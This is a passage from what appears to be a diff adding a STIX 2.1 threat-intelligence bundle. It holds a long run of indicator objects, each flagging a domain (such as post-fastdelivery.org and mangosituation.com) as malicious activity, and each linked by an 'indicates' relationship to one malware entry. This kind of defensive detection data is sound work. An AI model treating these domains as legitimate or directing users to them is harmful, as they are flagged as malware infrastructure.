"stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.022023Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8d2f8707-724c-4c08-b223-f9700beb2494", + "created": "2023-03-29T12:58:45.022619Z", + "modified": "2023-03-29T12:58:45.022619Z", + "relationship_type": "indicates", + "source_ref": "indicator--a0f9272c-c9fd-46de-8148-36bf85f474a1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a9a6e783-57e2-48a2-8f2a-af3bd6efef9f", + "created": "2023-03-29T12:58:45.022788Z", + "modified": "2023-03-29T12:58:45.022788Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='harmonizetrifocals.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.022788Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4dabd143-12ca-4905-a0f5-7cbaa52d4bf9", + "created": "2023-03-29T12:58:45.023386Z", + "modified": "2023-03-29T12:58:45.023386Z", + "relationship_type": "indicates", + "source_ref": "indicator--a9a6e783-57e2-48a2-8f2a-af3bd6efef9f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--44de850a-a861-4f22-8815-b9a318772737", + "created": "2023-03-29T12:58:45.023557Z", + "modified": "2023-03-29T12:58:45.023557Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vocalistscandal.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.023557Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4b05ab31-1284-484d-afd4-cc5fa01203c9", + "created": "2023-03-29T12:58:45.02415Z", + "modified": "2023-03-29T12:58:45.02415Z", + "relationship_type": "indicates", + "source_ref": "indicator--44de850a-a861-4f22-8815-b9a318772737", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2ab0a6a7-d045-4867-aeab-b394c9310306", + "created": "2023-03-29T12:58:45.02432Z", + "modified": "2023-03-29T12:58:45.02432Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='akinetevassar.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.02432Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fbc7647d-55aa-41c8-9d01-8884bfb9f8dc", + "created": "2023-03-29T12:58:45.024914Z", + "modified": "2023-03-29T12:58:45.024914Z", + "relationship_type": "indicates", + "source_ref": "indicator--2ab0a6a7-d045-4867-aeab-b394c9310306", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--03702349-90c6-4f3c-8710-8eddc9179619", + "created": "2023-03-29T12:58:45.025082Z", + "modified": "2023-03-29T12:58:45.025082Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='coddurably.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.025082Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4faf71c6-1785-435c-8bb1-2fea680665fc", + "created": "2023-03-29T12:58:45.025793Z", + "modified": "2023-03-29T12:58:45.025793Z", + "relationship_type": "indicates", + "source_ref": "indicator--03702349-90c6-4f3c-8710-8eddc9179619", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0e3f7419-0c13-405b-acff-aaec6fd3b70a", + "created": "2023-03-29T12:58:45.025965Z", + "modified": "2023-03-29T12:58:45.025965Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='post-fastdelivery.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.025965Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7e33f17e-d2d1-4b26-814d-8f5b9d22bfef", + "created": "2023-03-29T12:58:45.026564Z", + "modified": "2023-03-29T12:58:45.026564Z", + "relationship_type": "indicates", + "source_ref": "indicator--0e3f7419-0c13-405b-acff-aaec6fd3b70a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--32ce8bc5-67a9-47e5-8a8a-4c59f6f799b9", + "created": "2023-03-29T12:58:45.026731Z", + "modified": "2023-03-29T12:58:45.026731Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mangosituation.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.026731Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6f6558e4-036f-4d93-81cb-13364f432daa", + "created": "2023-03-29T12:58:45.027318Z", + "modified": "2023-03-29T12:58:45.027318Z", + "relationship_type": "indicates", + "source_ref": "indicator--32ce8bc5-67a9-47e5-8a8a-4c59f6f799b9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--72c0a5b5-87f9-4b80-bd32-6936213d6bdc", + "created": "2023-03-29T12:58:45.027485Z", + "modified": "2023-03-29T12:58:45.027485Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='roadtomasa.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.027485Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2911d0cc-e135-45ea-a6f9-25c64c5a02b4", + "created": "2023-03-29T12:58:45.028068Z", + "modified": "2023-03-29T12:58:45.028068Z", + "relationship_type": "indicates", + "source_ref": "indicator--72c0a5b5-87f9-4b80-bd32-6936213d6bdc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dcc32e18-f2c6-456d-b121-c57bd7860b8d", + "created": "2023-03-29T12:58:45.02824Z", + "modified": "2023-03-29T12:58:45.02824Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='routingexpensive.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.02824Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5cf334cd-fd26-43bd-92bb-e013a7f45815", + "created": "2023-03-29T12:58:45.028838Z", + "modified": "2023-03-29T12:58:45.028838Z", + "relationship_type": "indicates", + "source_ref": "indicator--dcc32e18-f2c6-456d-b121-c57bd7860b8d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8526920c-553a-4458-b0a7-73da4fc2e61b", + "created": "2023-03-29T12:58:45.029007Z", + "modified": "2023-03-29T12:58:45.029007Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='aurorasongs.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.029007Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1c046c2d-d0a6-4dc6-8a3f-7b50ff69b874", + "created": "2023-03-29T12:58:45.029607Z", + "modified": "2023-03-29T12:58:45.029607Z", + "relationship_type": "indicates", + "source_ref": "indicator--8526920c-553a-4458-b0a7-73da4fc2e61b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--17ce5014-7c08-4e3c-9807-412cc41c79ee", + "created": "2023-03-29T12:58:45.029777Z", + "modified": "2023-03-29T12:58:45.029777Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='uphillpucker.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.029777Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5c8aa7fa-40fd-4efd-878e-6d150fe33027", + "created": "2023-03-29T12:58:45.030367Z", + "modified": "2023-03-29T12:58:45.030367Z", + "relationship_type": "indicates", + "source_ref": "indicator--17ce5014-7c08-4e3c-9807-412cc41c79ee", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--221494fb-92d6-4388-9331-ba93150b7139", + "created": "2023-03-29T12:58:45.030536Z", + "modified": "2023-03-29T12:58:45.030536Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sabotagereprogram.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.030536Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9a976c17-a8de-4f97-ad45-36c290b3f875", + "created": "2023-03-29T12:58:45.031134Z", + "modified": "2023-03-29T12:58:45.031134Z", + "relationship_type": "indicates", + "source_ref": "indicator--221494fb-92d6-4388-9331-ba93150b7139", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fdc9a6a3-5686-4ca7-af4d-7c78b35548ce", + "created": "2023-03-29T12:58:45.031302Z", + "modified": "2023-03-29T12:58:45.031302Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jailbirdtassel.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.031302Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--91f239e9-30cd-42ee-a9d9-52228fa16a4f", + "created": "2023-03-29T12:58:45.031892Z", + "modified": "2023-03-29T12:58:45.031892Z", + "relationship_type": "indicates", + "source_ref": "indicator--fdc9a6a3-5686-4ca7-af4d-7c78b35548ce", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--817cf327-9d1b-453c-b720-d9974291e115", + "created": "2023-03-29T12:58:45.032061Z", + "modified": "2023-03-29T12:58:45.032061Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='playbacktanned.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.032061Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8f3113b8-138e-460c-90e1-44400499b2c1", + "created": "2023-03-29T12:58:45.032772Z", + "modified": "2023-03-29T12:58:45.032772Z", + "relationship_type": "indicates", + "source_ref": "indicator--817cf327-9d1b-453c-b720-d9974291e115", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1dae3900-5398-4e5a-a1ad-51bebbed07f4", + "created": "2023-03-29T12:58:45.032945Z", + "modified": "2023-03-29T12:58:45.032945Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='darttactful.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.032945Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d750cca9-6c92-45be-ac13-5bacffd9c01d", + "created": "2023-03-29T12:58:45.033545Z", + "modified": "2023-03-29T12:58:45.033545Z", + "relationship_type": "indicates", + "source_ref": "indicator--1dae3900-5398-4e5a-a1ad-51bebbed07f4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ffa6de6e-f94d-4972-afd6-d2411797ffed", + "created": "2023-03-29T12:58:45.033718Z", + "modified": "2023-03-29T12:58:45.033718Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='countablewick.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.033718Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e4f52a27-ebf9-4239-8798-2bba3e593bc2", + "created": "2023-03-29T12:58:45.034316Z", + "modified": "2023-03-29T12:58:45.034316Z", + "relationship_type": "indicates", + "source_ref": "indicator--ffa6de6e-f94d-4972-afd6-d2411797ffed", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--565702af-6e94-4d78-bb84-f1151b773e2c", + "created": "2023-03-29T12:58:45.034484Z", + "modified": "2023-03-29T12:58:45.034484Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='halacafe.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.034484Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--992d7578-bae3-4737-95cf-6d7627f66377", + "created": "2023-03-29T12:58:45.035065Z", + "modified": "2023-03-29T12:58:45.035065Z", + "relationship_type": "indicates", + "source_ref": "indicator--565702af-6e94-4d78-bb84-f1151b773e2c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f6cccbd9-6cb6-4218-aecc-1eee5658fa45", + "created": "2023-03-29T12:58:45.035237Z", + "modified": "2023-03-29T12:58:45.035237Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='resolvedwhiff.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.035237Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2ba3be25-e912-4a2d-812e-3230f60ef4e5", + "created": "2023-03-29T12:58:45.035828Z", + "modified": "2023-03-29T12:58:45.035828Z", + "relationship_type": "indicates", + "source_ref": "indicator--f6cccbd9-6cb6-4218-aecc-1eee5658fa45", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ef7f0ad8-b766-4735-8dbd-11edecb40bd1", + "created": "2023-03-29T12:58:45.035995Z", + "modified": "2023-03-29T12:58:45.035995Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='talkneaton.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.035995Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b0fe3a4b-8457-4179-8219-f46cba8d0778", + "created": "2023-03-29T12:58:45.036674Z", + "modified": "2023-03-29T12:58:45.036674Z", + "relationship_type": "indicates", + "source_ref": "indicator--ef7f0ad8-b766-4735-8dbd-11edecb40bd1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7396ad56-3f13-4fce-a453-65b1731259fa", + "created": "2023-03-29T12:58:45.036891Z", + "modified": "2023-03-29T12:58:45.036891Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ninepaper.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.036891Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--45e72bf5-22de-43d9-bda7-85b36f84b620", + "created": "2023-03-29T12:58:45.037482Z", + "modified": "2023-03-29T12:58:45.037482Z", + "relationship_type": "indicates", + "source_ref": "indicator--7396ad56-3f13-4fce-a453-65b1731259fa", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--806573dd-f247-4cff-a085-b34bc9ff65a2", + "created": "2023-03-29T12:58:45.03766Z", + "modified": "2023-03-29T12:58:45.03766Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cargonearly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.03766Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b313ce57-24c3-4a87-b7a6-c38f66b4f7ca", + "created": "2023-03-29T12:58:45.03825Z", + "modified": "2023-03-29T12:58:45.03825Z", + "relationship_type": "indicates", + "source_ref": "indicator--806573dd-f247-4cff-a085-b34bc9ff65a2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ecc56a20-af38-429a-a266-deb6f18f0786", + "created": "2023-03-29T12:58:45.038418Z", + "modified": "2023-03-29T12:58:45.038418Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='undercookqualify.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.038418Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--acf1dc79-2adc-4708-be7e-85fee8ea9d98", + "created": "2023-03-29T12:58:45.039022Z", + "modified": "2023-03-29T12:58:45.039022Z", + "relationship_type": "indicates", + "source_ref": "indicator--ecc56a20-af38-429a-a266-deb6f18f0786", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d217ecd5-6868-481a-a038-4c18ee1be468", + "created": "2023-03-29T12:58:45.03919Z", + "modified": "2023-03-29T12:58:45.03919Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dairycannot.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.03919Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e9063c49-0080-446a-a953-841336c44ff0", + "created": "2023-03-29T12:58:45.039893Z", + "modified": "2023-03-29T12:58:45.039893Z", + "relationship_type": "indicates", + "source_ref": "indicator--d217ecd5-6868-481a-a038-4c18ee1be468", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6c0e4e0a-dc7b-43d8-8c5b-d2b681b94549", + "created": "2023-03-29T12:58:45.040066Z", + "modified": "2023-03-29T12:58:45.040066Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yellowwildtiger.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.040066Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e0bd48fa-2d9f-40c8-ab6d-8f05bf75077d", + "created": "2023-03-29T12:58:45.040662Z", + "modified": "2023-03-29T12:58:45.040662Z", + "relationship_type": "indicates", + "source_ref": "indicator--6c0e4e0a-dc7b-43d8-8c5b-d2b681b94549", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d785c641-4d86-4ca4-b3e0-a4e86dd49d3f", + "created": "2023-03-29T12:58:45.040831Z", + "modified": "2023-03-29T12:58:45.040831Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='twistedtubes.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.040831Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9d724ae4-dd0c-4635-a807-1ebc7e913d9c", + "created": "2023-03-29T12:58:45.04142Z", + "modified": "2023-03-29T12:58:45.04142Z", + "relationship_type": "indicates", + "source_ref": "indicator--d785c641-4d86-4ca4-b3e0-a4e86dd49d3f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--32f96bd5-45cd-4cfa-aded-231bcd7bb05d", + "created": "2023-03-29T12:58:45.041593Z", + "modified": "2023-03-29T12:58:45.041593Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dreamboatunmolded.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.041593Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b3adaf35-ef8d-4924-bdb4-025232fb90b9", + "created": "2023-03-29T12:58:45.042191Z", + "modified": "2023-03-29T12:58:45.042191Z", + "relationship_type": "indicates", + "source_ref": "indicator--32f96bd5-45cd-4cfa-aded-231bcd7bb05d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4182ce76-107b-4f88-b38b-aacae3543b89", + "created": "2023-03-29T12:58:45.04236Z", + "modified": "2023-03-29T12:58:45.04236Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bloatingunsteady.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.04236Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2fd25df0-d83e-4424-99e1-37667d7c67e9", + "created": "2023-03-29T12:58:45.042987Z", + "modified": "2023-03-29T12:58:45.042987Z", + "relationship_type": "indicates", + "source_ref": "indicator--4182ce76-107b-4f88-b38b-aacae3543b89", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a1d7e854-a8ea-43a4-a68e-b03e9df9acff", + "created": "2023-03-29T12:58:45.043161Z", + "modified": "2023-03-29T12:58:45.043161Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='impotencejujitsu.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.043161Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b84eb899-b5b0-40e9-b980-5b962283ecef", + "created": "2023-03-29T12:58:45.04376Z", + "modified": "2023-03-29T12:58:45.04376Z", + "relationship_type": "indicates", + "source_ref": "indicator--a1d7e854-a8ea-43a4-a68e-b03e9df9acff", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--41a6d45d-af83-406d-9126-e5e4a65146c8", + "created": "2023-03-29T12:58:45.043927Z", + "modified": "2023-03-29T12:58:45.043927Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='walkbotanist.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.043927Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--73b4af6e-0ad2-42c9-9538-f9f901cfd84e", + "created": "2023-03-29T12:58:45.044515Z", + "modified": "2023-03-29T12:58:45.044515Z", + "relationship_type": "indicates", + "source_ref": "indicator--41a6d45d-af83-406d-9126-e5e4a65146c8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0426308d-3fac-4b00-8434-c91749f00d75", + "created": "2023-03-29T12:58:45.044683Z", + "modified": "2023-03-29T12:58:45.044683Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='preacherhardiness.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.044683Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--95561769-0c41-41ab-9322-63cefb3cb4ad", + "created": "2023-03-29T12:58:45.045282Z", + "modified": "2023-03-29T12:58:45.045282Z", + "relationship_type": "indicates", + "source_ref": "indicator--0426308d-3fac-4b00-8434-c91749f00d75", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f26c1382-ffd7-4746-9681-54fc0421d6e4", + "created": "2023-03-29T12:58:45.045454Z", + "modified": "2023-03-29T12:58:45.045454Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='handwriteefficient.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.045454Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--33bbbd3f-ecc3-4d0e-ae84-6afabcddab15", + "created": "2023-03-29T12:58:45.046057Z", + "modified": "2023-03-29T12:58:45.046057Z", + "relationship_type": "indicates", + "source_ref": "indicator--f26c1382-ffd7-4746-9681-54fc0421d6e4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9e37603a-64c5-402a-9a70-b18d0d7bf015", + "created": "2023-03-29T12:58:45.046227Z", + "modified": "2023-03-29T12:58:45.046227Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cashevident.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.046227Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d89b201e-acb5-45b1-83e3-eb887f2a75c9", + "created": "2023-03-29T12:58:45.046923Z", + "modified": "2023-03-29T12:58:45.046923Z", + "relationship_type": "indicates", + "source_ref": "indicator--9e37603a-64c5-402a-9a70-b18d0d7bf015", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a78f43dc-bc86-473c-98ad-99aca41fe4e5", + "created": "2023-03-29T12:58:45.047095Z", + "modified": "2023-03-29T12:58:45.047095Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='convenefleshy.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.047095Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0b8af7c2-f404-4ff4-a2cb-6e976575b992", + "created": "2023-03-29T12:58:45.047692Z", + "modified": "2023-03-29T12:58:45.047692Z", + "relationship_type": "indicates", + "source_ref": "indicator--a78f43dc-bc86-473c-98ad-99aca41fe4e5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d44854fc-0c2d-47be-b2d8-76d79209cfa5", + "created": "2023-03-29T12:58:45.047861Z", + "modified": "2023-03-29T12:58:45.047861Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='makehappyface.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.047861Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7b87de6d-d461-4938-820c-ca00ac8272ba", + "created": "2023-03-29T12:58:45.04845Z", + "modified": "2023-03-29T12:58:45.04845Z", + "relationship_type": "indicates", + "source_ref": "indicator--d44854fc-0c2d-47be-b2d8-76d79209cfa5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2b738482-c0c6-404d-8d2d-b733dc26f203", + "created": "2023-03-29T12:58:45.048617Z", + "modified": "2023-03-29T12:58:45.048617Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='filingprimer.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.048617Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--56f715f1-d727-469c-8856-235bbf63cf3e", + "created": "2023-03-29T12:58:45.049204Z", + "modified": "2023-03-29T12:58:45.049204Z", + "relationship_type": "indicates", + "source_ref": "indicator--2b738482-c0c6-404d-8d2d-b733dc26f203", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ba9252ed-07f9-46c8-af6a-141236d01d2f", + "created": "2023-03-29T12:58:45.049372Z", + "modified": "2023-03-29T12:58:45.049372Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='deciphermanifesto.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.049372Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fa0a312e-fe20-40e3-9bc9-7c92155b0fef", + "created": "2023-03-29T12:58:45.04997Z", + "modified": "2023-03-29T12:58:45.04997Z", + "relationship_type": "indicates", + "source_ref": "indicator--ba9252ed-07f9-46c8-af6a-141236d01d2f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3de81fab-3ef2-4de2-9990-3a28d416e9d6", + "created": "2023-03-29T12:58:45.050142Z", + "modified": "2023-03-29T12:58:45.050142Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gettingnuclei.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.050142Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8eb1c567-b8ef-4174-8711-074e020ddc81", + "created": "2023-03-29T12:58:45.050736Z", + "modified": "2023-03-29T12:58:45.050736Z", + "relationship_type": "indicates", + "source_ref": "indicator--3de81fab-3ef2-4de2-9990-3a28d416e9d6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0c165438-6ace-440a-aa93-6e274f90ac7b", + "created": "2023-03-29T12:58:45.050905Z", + "modified": "2023-03-29T12:58:45.050905Z", + "indicator_types": 